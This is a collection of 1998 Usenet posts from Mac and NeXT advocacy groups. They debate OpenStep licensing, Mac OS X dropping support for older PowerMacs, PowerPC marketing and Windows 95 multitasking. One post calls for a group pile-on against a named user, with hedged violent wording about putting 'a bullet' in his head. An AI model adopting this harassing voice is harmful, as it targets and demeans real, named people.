Baloney. Apple is the one that killed a larger PPC desktop market, Apple
should take the responsibility for marketing the PPC as a desktop chip.
Period. I have zero doubt IBM and Motorola would have advertised the PPC
heavily if they'd had a stake in its success as a desktop chip. As it
stands, they do not.
I am sure that PPC does not get short shrift in the embedded market
where it sells quite nicely and there is no Apple to stand in the way of
its adoption. Apple alone is to blame for the fact that it stands alone
on PPC. I don't see why there's confusion over this.
MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep Enterprise Deployment License - Outrageous
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35B7734D.DDDCC862@alum.mit.edu> <35b77df2.0@news.depaul.edu>
<35B780CB.4BC40804@alum.mit.edu>
Message-ID: <TWUt1.6898$7k7.8660942@news.rdc1.sdca.home.com>
Date: Fri, 24 Jul 1998 05:27:15 GMT
NNTP-Posting-Date: Thu, 23 Jul 1998 22:27:15 PDT
Organization: @Home Network
In <35B780CB.4BC40804@alum.mit.edu> Eric Hermanson wrote:
> Jonathan W Hendry wrote:
>
> > You're assuming, erroneously, that the entire license fee is due
> > to EOF. There's no reason to assume this is the case. The reason
> > for only shipping the two together probably has more to do with
> > they way its used. OpenStep customers want EOF, so it'd be silly
> > to require two different SKU's.
>
> OpenStep customers that want to ship end-user, mass-market applications
built
> with AppKit probably don't want EOF. That was my basic point.
>
>
> > If Apple removed EOF from OpenStep/Enterprise, do you *really*
> > think its price would drop to $0-$19/seat? No way in hell!
>
> I assume it would drop significantly. The $0-$19 range was my wishful
> thinking. The only thing(s) keeping the OSE licensing cost so high right
now
> are PostScript, maybe some UNIX licensing, and the EOF lisence. I assumed
that
> the EOF lisence was the largest chunk of the price. Maybe I'm wrong?
>
>
> > You are also assuming that the license fee for EOF would have to
> > remain high in YellowBox, which is also rather silly.
>
> If Apple were clever, they would un-bundle EOF and continue selling it as a
> separate product. That technology is not useful to the mainstream
"Mac-heads",
> on the other hand, it is extremely useful to large businesses who are
willing to
> pay several thousand dollars for it. It would be sort of silly, in my
opinion,
> to bundle EOF into a $19 YellowBox license.
>
> The whole idea of one-OS, one-technology (i.e. MacOS-X) seems short sighted
to
> me. I am of the opinion that there should always be two levels of product
> offerings: consumer level, pro level. MacOS, Foundation, Appkit, WebScript
are
> consumer level. Rhapsody Server, EOF, InterfaceBuilder, ProjectBuilder,
> WebObjects Enterprise are "pro" level. I hope Apple continues to market
things
> that way. If they don't, we'll either end up with overpriced consumer
products
> (due to all the technology bundling), or severely disabled server and
> development products (due to lack of money and profits on EOF, Rhapsody,
etc).
>
>
Eric, I think is drooling over the upside mass-market potential in MacOS X...
Could the driving metric on pricing have more to do with scale-up support
costs and marketing/packaging penetration costs? I remember the NeXT days
when they got stretched too thin. I wouldn't doubt there exists a collective
memory. They could very well be targeting fewer well placed, successful
installations.
-r
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 22:47:51 -0700
Message-ID: <see-below-2307982247510001@dynamic18.pm10.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com>
In article <not-2307981605420001@ip-26-117.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <jbg-2307981327420001@green.sdc.cs.boeing.com>,
> jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
>
> > If I want a mac that will _someday_ support an OS which provides true
> > memory protection and full preemptive scheduling, is it "realistic"
> > for me to buy *any* Apple computer _today_?
>
> Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
> beginning.
Hmm. What if I already have a 266MHz G3 (or faster...) in my existing
computer? You mean I have to buy a totally new computer to completely
replace the perfectly good (and just as fast/powerful/feature-rich)
computer I already have? That seems fairly arbitrary. That's especially
bad if my existing system is a 9600 bought in 1998, a model which was
specifically reccommended by Apple to run Rhapsody...This is a top-of-the
line (expensive) fairly recent model most likely to be used as a sever or
professional workstation, exactly the market for OS X. It is also fully
upgradeable to a processor (or multiple processors) as fast as anything
Apple will be selling in their new models for the forseeable future, and
with 6 slots may be _required_ by many high-end users who most want to use
OS X (unless Apple relents and ships some 6-slot machines in the next
year). So again, it seems entirely arbitrary to not support this model (as
well as the 9500 and 8500/8600).
I do understand it is a matter of cost, but it's also the kind of thing
that can potentially do serious damage to customer loyalty, and customer
loyalty is perhaps Apple's most valuable asset. As I said before, as soon
as Microsoft ships an OS that isn't totally lame (if it ever does), Apple
can kiss its market goodbye. Forcing customers to replace perfectly good
computers makes people ask questions I don't think Apple wants them to
ask: since I'm forced to buy a computer I shouldn't need to buy, why not
look at all my options while I'm at it? Obviously, lots and lots of people
over the last few years have chosen to switch to Windows when faced with
such a choice. As hopeful as Apple's turnaround is, I wouldn't bet that
Apple might not lose even more high-end customers (the kind who spend the
most money) over this kind of thing.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 24 Jul 1998 05:40:07 GMT
Organization: MyOrg
Message-ID: <6p96nn$95q$1@news5.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk> <6p6s8o$qk5$1@news2.ispnews.com> <6p7n78$f0l$1@nntp2.ba.best.com> <6p8ui5$g9n$1@news2.ispnews.com> <6p95oe$6ql$1@nntp2.ba.best.com>
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kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
>
> And no, it didn't fail very gracefully, which is something I intend to
> yell at Apple about tonight. On the upside, Rhapsody doesn't seem
> create another thread every time you sneeze. ;)
hehehe, of course not, it doesn't support multiple CPUs. :)
--
--Woohoo, this message posted from BeOS!
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Thu, 23 Jul 1998 22:38:16 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2307982238160001@sdn-ar-001casbarp003.dialsprint.net>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44>
In article <B1DD3046-927B4@204.32.201.44>, "Nathan Dozier"
<surfweb@ix.netcom.com> wrote:
<cyberdog crap deleted)
>
> Anyone know how to create a new newsgroup? We really should make a
> new newsgroup dedicated to our deranged little mofo here. Maybe call
> the group alt.kook.edwin.thorn.
What is a kook?
> Better yet, we should kill off this dweeb like we killed off Rizzo.
> This fukher's posts have no content, and yet he has the gall to attack
> people like Joe R and Jason S. We really need to put a bullet into
> this sick dogs head (cyberspatially speaking, not in real life)
Oh, well I am sure glad you arent advocating we REALLY kill Edwin, only
"cyberspatially" kill him. Otherwise we would have to call the FBI :P
Seriously tho, their is a great invention made this century, its called a
killfile. Just put Edwin in it and you wont have to read his posts. I
assume cyberdog has a killfile, use it, I just put Eddy back in a day or
two ago :)
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 06:42:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p9acg$o8n$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net>
In article <Josh.McKee-2307981810170001@pm3a8.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> You see, Windows 95 has all the buzzwords, but the implementation of them
> nullifies the results.
It reduces the results. It is still better than the MacOS.
> Take protected memory...the Windows 95 systems
> that I've used crash more frequently than the unprotected Mac OS.
That has been the opposite of my experience...
> Likewise, Windows 95's "pre-emptive" multitasking still can be blocked
> with the use of 16-bit applications. In a real PM and PMT environment,
> such as that in Windows NT, these things shouldn't be a problem.
How many 16-bit applications do you run? I only run one and that's because my
company writes it. But even if Windows 95 PM only works 1% of the time, that
is still a greater percentage of functioning time than the MacOS can claim.
> And we're not saying that the Mac OS is perfect. But when compared to the
> alternatives, the Mac OS does quite well. I'm sorry, but the
> implementation of Windows 95's PM and PMT offers real no benefit over the
> Mac OS, IMO. As such, I'm not willing to switch to Windows 95 to gain
> little in these area's, but have to deal with more problems in different
> areas.
Why not use NT then?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 22:31:30 -0700
Organization: EarthLink Network, Inc.
Distribution: world
Message-ID: <Macghod-2307982231300001@sdn-ar-001casbarp003.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6p111m$h87$1@unlnews.unl.edu> <joe.ragosta-2107980852210001@0.0.0.0>
In article <joe.ragosta-2107980852210001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
> Let's see. So you've been using Macs for 14 years. According to most
> studies, Macs are around $3,000 per year lower in TCO than Windows (not
> even counting the huge productivity gains). Heck, we'll even use
> _Microsoft's_ figures and say the difference is only $1,500 (of course,
> that's for Win95--presumably the number was greater for Win3.1 and DOS).
>
> So, you've saved $21,000 dollars in TCO by using Macs, plus an additional
> gain in productivity. You're going to just walk away from that?
Those tco figures seem preety odd to me Joe. Those studies seem preety
off if they are meant to count for average consumers, consumers who spend
just as little during their pc's existence as for a mac. Take my dad,
he hasnt spent a red cent save for the initial purchase. Now take me,
except for a few small purchases to upgrade my g3 to the configuration I
wanted, I have spent zero for it.
My point? Saying the above home user would of saved $1500 a year is
totall bull manure. So please dont spread the you know what Joe. The guy
is a home user so your figures are not valid. If he was a business I
would assume the figures are correct.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: rcl@ultranet.com (Rich Long)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
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Control: cancel <rcl-2307982103360001@d8.dial-2.nsh.nh.ultra.net>
Date: Thu, 23 Jul 1998 21:29:03 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
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cancel <rcl-2307982103360001@d8.dial-2.nsh.nh.ultra.net>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 06:45:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p9aj1$oei$1@nnrp1.dejanews.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <joe.ragosta-2307981908080001@elk68.dol.net>
In article <joe.ragosta-2307981908080001@elk68.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Sure. Motorola and IBM refused to do any advertising to support the chip.
Not true. They both market it in the embedded systems market and IBM markets
their PPC based servers and workstations.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 13:00:15 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-167-019.phx.primenet.com
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Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> > > (1) They will lose upgrade customers for hardware. There _will_ be people
> > > who will, when their machine reaches the end of its useful life (some time
> > > after OS X has shipped), move to Wintel because of the decision.
These will
> > > be users of 7x00, 8x00, and 9x00 level machines who would otherwise have
> > > upgraded to a new machine _at_a_later_ date.
> >
> > Wrong. A phantom--a totally epemeral group. No one out there is going to
> > switch to Wintel just because they can't run OS X. Only the most
> > histrionic person trying to make a "political" point would do so. Why?
> > Cost. I bought a 1997 Mac (Power Center Pro 240) that won't run OS X.
> > Doesn't bother me, I've got a budget for a new G3 before Q3 1999. Anyway,
> > let's just assume I would want to switch to Wintel instead:
Well, since you snipped all of the examples I cited without responding to
them, then we'll just assume you accepted them as fact.
> I think you misunderstand the reasons for switching away from the Mac
> platform based on Apple's decision and underestimate the number of people
> that will switch.
>
> The reason is not to make a "political" point. The reason is that dropping
> support for machines that are still selling *new* right now in a little
> more than a year sets a dangerous precedent.
Those machines my be selling new, but they are 4 years old
internally--they even use a type of RAM that is getting tough to find
these days. Slow bus speeds, limited video options, and slow Ethernet (100
MBS is the standard now, remember?) make these machines of the past,
regardless of their sale date.
>Apple has had a pretty good
> history of backwards support for old systems. While there is never any
> gaurantee anyway, setting the precedent of dropping support for 1 year old
> machines makes it even more likely and possible that Apple will decide
> that you need a G4 to run Mac OS XI and then a G5 to run Mac OS XII and
> so on.
Pure, unadulterated speculation and perhaps just paranoia on your part.
First you pat Apple on the back for having good backward-compatibility in
the past, then you slam them for a possible future of doing nothing but
breaking that tradition. No one out there knows anything about Apple's
future strategy past OS X, not even Apple. The fact that you bring it up
here really weakens your argument.
> It is not a political statement, but a fear that Apple will continue to
> drop support for perfectly good machines before users are ready to buy new
> ones. It's the unreasonable forced upgrade precedent that would cause some
> users to move away from the platform.
See above. More paranoia. How many Mac users do you really think sit
around and have panic attacks because they *might* not be able to run the
very latest up-to-the-minute OS? Very, very few. From my considerable
experience (four years admin at a Mac computer lab, tech support for Mac
and other ISPs) Mac users treat their computers as appliances: turn it on,
do your work, turn it off. Start talking about OS X and Rhapsody in front
of my Mac-using girlfriend, mother, or uncle and they just glaze over: and
these people have PhDs.
Not everyone is so worried about the future. My 7500 with OS 8.1 and soon
8.5 will work for another ten years. I plan to use it as my web and e-mail
server, and my FTP site once I get DSL.
> Customer loyalty is _decreasing_ not increasing. While our loyalty is
> amazing considering the circumstances, it is not unconditional.
You are speaking of that one-time survey, conducted by a PC company, are
you not? Sorry, but one data point in a list of hundreds of data points to
the contrary is not signifigant. Nor does one data point constitute a
trend.
But I forgot that you are in the business of speculation and paranoia.
> It's not about showing those Apple bastards. It's about getting away from
> a platform for which a single company controls the OS and hardware wher
> that company is willing to drop support for machines on a whim to force
> people to upgrade.
Specualtion. Paranioa. On a whim?? This shows how detached from reality
you are. Do you think apple made the decision to exclude a huge user base
ON A WHIM? Such idiocy just degrages your argument further. All
histrionics, no substance. Until someone at Apple comes out and says,
"Yes, we decided to exclude everything but G3s because we wanted to sell
more hardware," all of your charges and accusations are just vapors and
hot air.
> For all that you bash Windows and PCs, people _are_ able to use them to
> get work done. You exaggerate the disadvantages to haveing a Windows based
> PC.
I *work with them all the time,* thanks. And they crash all the time. Much
more than the macs. Yes, people get work done, but grudgingly. More than a
few times I caught my supervisor digging in his desk for a pencil and
paper because Lotus Notes had crashed yet again on his $5000 NT box.
> > > (2) Lose OS upgrade customers - since they can't buy the upgrade they
> > > won't. Simple. That's quite a chunk of current users.
> >
> > Most Mac users are still running System 7.
>
> Prove that or admit it is just speculation.
This is a well-known fact. Anecdotal evidence: I did tech support for a
Mac-leaning ISP. Very, very few of our customers (who come from an
affluent customer base, the retirement communities of Tucson, AZ) were
running 8.0. The majority were running 7.5.1, which came installed on
their Performas and 8500s. Many had no idea 8.0 even existed, not to
mention 8.1.
Four Mac labs at my grad school (University of Arizona) with 120 Macs--all
System 7.6. I talked to the lab head, he said, "well, we tried to install
8.0 but it just confused the Mac users with that grey platinum appearance,
it looked too different from what they saw at home."
Your legions of loyal Mac users ready to defect are a ghost, a dream of
your imagination: nothing more.
> Mac OS 8 sold 2 million copies in its first 2 months.
Yes, estimates that they have sold 6 or 8 million to date are common.
Which leaves about 22 million Mac users running 6.x or 7.x.
There is
> apparently tremendous demand for an "advanced" OS in the Macintosh
> community. That demand has not been sated yet I'd bet.
On this newsgroup, perhaps, which is a *very* skewed segement of the Mac
OS community. Outside of it? Prove it. I've been to many AMUG meetings, a
group with a rabid loyalty to the Mac and a power-user mentality. None of
them have mentioned ditching their Mac just to have protected memory or
guard pages in their OS by switching to NT. GUI, frendliness and good,
high-qulaity hardware is important to them, not the latest buzzword
compliance.
> Adding support for these machines would mean a potential market of 3 or 4
> million more machines (I think... anybody have real numbers?). Assuming 3
> or 4 million of those machines, that will double the likely market of G3
> and G4 machines for Mac OS X by that time.
You are ignoring the fact that the number of Mac G3 and G4 machines is
going to grow *tremendously*, and as that number grows the previous number
shrinks, as many G3 purchasers will be previous PowerMac users. People who
buy used non-G3 systems in the next year or two are not going to be power
users by default, considering how cheap the G3s are.
> > See the point I made above. The users you cite do not exist. No matter how
> > angry anyone is, only a select few will have the cash to actually go out
> > and commit their act of rebellion.
>
> Poppycock. The 7300,7500,7600,8500,8600,9500, and 9600 machines were not
> consumer level Macs. They were far from cheap and the people who bought
> them are likely to have enough money to switch platforms especially
> considering that hardware is generally cheaper on the PC side.
Why do the people who raise this argument always forget the cost of
software, peripherals, and training time? The hardware cost is trivial in
comparison. I noticed how you totally ignored the example I cited of the
possible costs of switching platforms--didn't have much to rebut, did you?
> > Why? These machines will be 4 years old by the time OS X comes out. Just
> > like me, theu will have upgraded long before the ship date.
>
> Some of these machines will be 4 years old. Some will be one year old.
No, they will all be 4 years old (and perhaps older) in technology
terms--the 9600/350 motherboard is almost identical to the very first PPC
motherboards.
> A whole bunch of PowerMac 9600/350s sold a couple of weeks ago and
> PowerMac 8600/250 and 300s are still selling new today.
Selling new, but they rolled off the line years ago. Just because they sat
in a box for a year doesn't magically preserve them against the march of
time.
> The reference system for Rhapsody DR1 was a PowerMac 9600/233 IIRC. All
> the developers who bought 604e based PCI PowerMacs for Rhapsody will be
> unable to run Mac OS X without buying new machines, and developers have
> even less reason to support Apple than Apple's customers.
Speculation. Paranoia. Developers are in the business of writing software,
and they will do so. By the time OS X rolls around they all will have
upgraded anyway. As a game reviewer for Inside Mac Games, I talk to
developers all the time. Guess what they are running now? 266 MHz G3s.
> > I think you will be utterly shocked, when the time comes, at how many
> > people are willing to upgrade their machines just to run the latest OS. Do
> > I really need to tell you how many of my PC-using friends ditched their
> > 486 and bought a brand-new P II system just to run Win 98 vs Win 95?
>
> You do not know that the situation in the Mac community is the same as for
> your friends. You are using your anecdotal evidence as support for your
> argument that Mac users will happily upgrade.
I've never even argued for a second that Mac users will "happily upgrade."
Your tendency towards speculation seems to run even into your reading of
other people's posts. I was arguing that the majority of Mac users will be
totally oblivious to the "problem" posed by Mac OS X and the ones who are
aware of it will be upgrading to G3 anyway. I was arguing that your
grassroots rebellion you seem to be talking about is nothing but smoke and
shadows, from where I sit as a 10-year Mac user with on-the-ground
experience of Mac user communities.
(Which is possible, but
> you've not proven or even significantly supported that in any way.)
You're aking _me_ for proof? You've got nothing but speculation and
paranoia from word one! I cite actual, real-world evidence, of which you
have none, and you have the gall to ask for proof?
You'd better move on from this "cause" you're pushing--you are doing more
harm than good with all this speculation and guesswork.
> Furthermore, Windows 98 does not drop support for machines that were
> selling new one year ago.
Did I say so? No, I did not. I said that PC users with *perfecty
functional machines* ran out and bought a new one just because a new OS
rolled out. Nothing to do with being obsoleted or excluded--they just
wanted shiny new hardware to go with their shiny "new" (if such a word can
be used about Win 98) OS.
You talk of 486s. Those are 68040 class
> machines. We are talking 604, 604e, and some 603e systems. These are
> Pentium, PentiumPro, and PentiumII class machines.
I also know of three real-world examples of people going from Pentium and
Pentium Pro systems to Pentium II just to run Win 98, when a simple RAM
upgrade would have sufficed. And these were not wealthy folks.
Please, come down of your speuclative high horse and drop all the
paranoia. Histrionics only hurts your cause. By the time OS X hits the
streets, the early PCI powermacs will be so irrelevant and dated it won't
even be funny. A dual-G4 running Mac OS X will make the 9600/350 look like
a Mac Classic. People will have a choice: run a Mac Classic forever (which
my mom is going to do) or fork over the cash and get the latest and
greatest. The same choice they have always had.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 13:01:28 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-167-019.phx.primenet.com
Message-ID: <not-2307981301280001@ip-167-019.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz>,
mcox@ihug.co.nz (Martin Cox) wrote:
> >But you can't make such an extimation--no one can. Not even Apple really
> >knows how long it would take them to troubleshoot and debug even a small
> >set of the existing PCI Mac hardware.
> It wasn't an estimation - it was a statement of how long I personally would
> be willing to wait. If it takes a year, then I personally wouldn't wait
> that long.
I'm sorry, but that is amazing irrelevant. How long you would be willing
to wait has nothing to do without how long it would actually take to do
what you are describing. And what would you do if they took "too long" to
do it? Switch to NT? Pirate a copy when OS X came out, instead of pay for
it?
I'm tired of all the idle threats by supposed Mac loyalists on this group.
None of you are going to go Windows just because Apple didn't follow the
plans you would dictate to them. When you sit down and look at the costs
(new hardware, new software, learning curve, downtime) it would make no
sense at all. I've probably got $7,000 minimum invested in my 2 macs w/
software, and it would cost me twice that to move it all to Windows.
You're right in that I have no idea how long it would take,
> though like many others I genuinely can't see that it would be a _huge_
> undertaking. After all, it's _not_ like Windows - Apple _knows_ all the
> specs of _all_ its own motherboard designs, unlike MS where they have to
> guess at countless clone makeups.
Hardware motherboard compatibility is only a small part of the issue. What
about device drivers? Dozens of third-party hard drives, CD-ROM drives,
video cards, etc. Hundreds of possible hardware upgrades, from
daughtercards to PDS slot cards to clock-chipping. Third-party cache cards
(don't forget the 7500 cache card problem!). And on top of all this
testing software, software, software to make it all work. Did you think
all those software enablers that shipped with systems were just thrown in
for chuckles?
> >That was an unrealistic expectaion on your part, and I can't see how Apple
> >is to blame for that. At the time you bought the machine Apple's situation
> >as a company, CEO and future OS path were totally different.
>
> (1) It _wasn't_ unrealisitic. It was how the machine was marketed, and how
> it _does_ work (if you forget OS X for a moment). There's nothing a G3
> PowerMac can do that my (aging?) 7500 can't do.
Who cares? You have said yourself that hardware is not the issue here. It
is TIME, TIME, TIME DAMMIT! Apple does NOT HAVE THE TIME to troubleshoot
and make OS X backwards-compatible for all PCI macs. And if they chose to
do this *after* the initial OS X release, they would be working to support
machines that are *four years old* or older, up to *eight*. Unrealistic at
best, laughable at worst.
>Bus speed differences are
> not significant enough yet to concern us. It's a perfectly reasonable
> expectation.
If you think the computer industry can even support the phrase "reasonable
expectation," you're in way over your head. I had a reasonable expectation
that Win 98 would be an improvement over 95--guess how long that lasted? I
had a reasonable expectation than our NT server would stay up for more
than a few days at a time--guess what? I had a reasonable expectation that
Power Computing would be around to sell me my next two Macs--guess what?
The only thing reasonable about the computer industry is to have *no*
expectations.
> (2) At _no_ point did I say "Apple were to blame" and I'd appreciate a
> little less of the presumption of things I'm not saying.
Oh, please--I see you've chosen to split hairs rather than argue a point.
You most definitely pinned the tail on Apple as the one at fault in
several of your posts so far.
> Barring the 7200 series machines, everything 7x00 upwards (PCI based) was
> designed to be expandable, and to have one hell of a long lifetime by
> virtue of the CPU daughterboard and slots available. They are incredible
> machines, and there are a lot of them out there in professional
> environments.
And they will continue to work for years to come, with 8.5, 8.6 and 9.0.
And by the time OS X comes around, all true professionals will have long
since moved to G3 systems.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: malte@oops.se (Malte Tancred)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 24 Jul 1998 09:39:08 GMT
Organization: OOPS, Gothenburg
Message-ID: <6p9kns$gi29@Talisker.taide.net>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news>
In article <andyba-ya02408000R2307981327300001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>
>Why not? Databases are files! They may be dynamically-linked relational
>databases, but they are still files!
>
I didn't say a database driven application does _not_ have the
concept of a file. I said that it _might_ not have it.
>
>I agree that it is good. However, I do not agree that every element of the
>NeXT UI is necessarily better than every element of every other UI.
>
:-)
Neither do I.
>>
>> The root menu is in fact the "application category".
>> You "Quit" and "Hide" the application, not a document or a window.
>
>"Quit" is the only one currently under the File menu, and as I said before,
>it's not really a problem there. Since it would logically be the ONLY entry
>under a proposed "Application" submenu, it's easier to put it under File.
>
?!?
I don't get it. Proposed "Application" submenu?
And what if you don't have a "File" of "Document" menu? If it
doesn't fit your purpose? Or if you have two different concepts
in your application UI?
>> Regarding the "Print" operation, I'll refer to my comment above.
>> Printing doesn't neccessary have to do with a document or a file,
>> which makes it fit nice at the root level.
>
>Again, could you give me an example of something that you would print that
>is NOT file-related?
>
What if you want to print something else in the application besides
"one of the opened files"? Every application doesn't use _a_ file or
_a_ document as the base of its UI design. I'm not talking of files on
a filesystem level, I'm talking application design.
Heck, you might not even have a "File" menu. I've been involved
in projects where this true.
Right now I build and design database applications using Apple's
WebObjects. I therefor create an object oriented model of a customers
enterprise, which I later map to a relational database. (using the
wonderful application EOModeler :-).
I find that an enterprise model is seldom viewed upon as a single
file, a single entity. Instead you have to design an application
that can display and manipulate the data based on where it belongs in
model. In my opinion, quite different from a file based application.
And, you may still want to print the data your application displays.
Hope this made my point of view a bit clearer.
Cheers,
Malte
--
Malte Tancred
OOPS art, HB
malte@oops.se, http://www.oops.se/~malte
From: "Nathan Dozier" <surfweb@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: 23 Jul 98 18:24:03 -0700
Organization: ICGNetcom
Message-ID: <B1DD3046-927B4@204.32.201.44>
References: <35B74335.7DF7C86E@rauland.com>
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--Cyberdog-MixedBoundary-000926EA
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<SMALLER>On Thu, Jul 23, 1998 7:05 AM, </SMALLER>
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bWFpbHRvOmVkd2luLnRob3JuZUByYXVsYW5kLmNvbQ==
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<SMALLER> wrote:
</SMALLER><X-FONTSIZE><PARAM>12</PARAM>> > After it was shown that you
and he both posted within 2 minutes of each
> > other from the same ip, you claimed it was because you were at
your
> friend
> > "macsbug"'s house, implying that anton is Macsbug, yet when I went
back
> > through dejanews this macsbug guy (macsbug@hotmail.com, who also
> posted
> > from Edwin's isp) signed his name as Edwin?? How do you explain
this?
> >
> I withdraw my apology from the Warez thread. If you're going to go
so
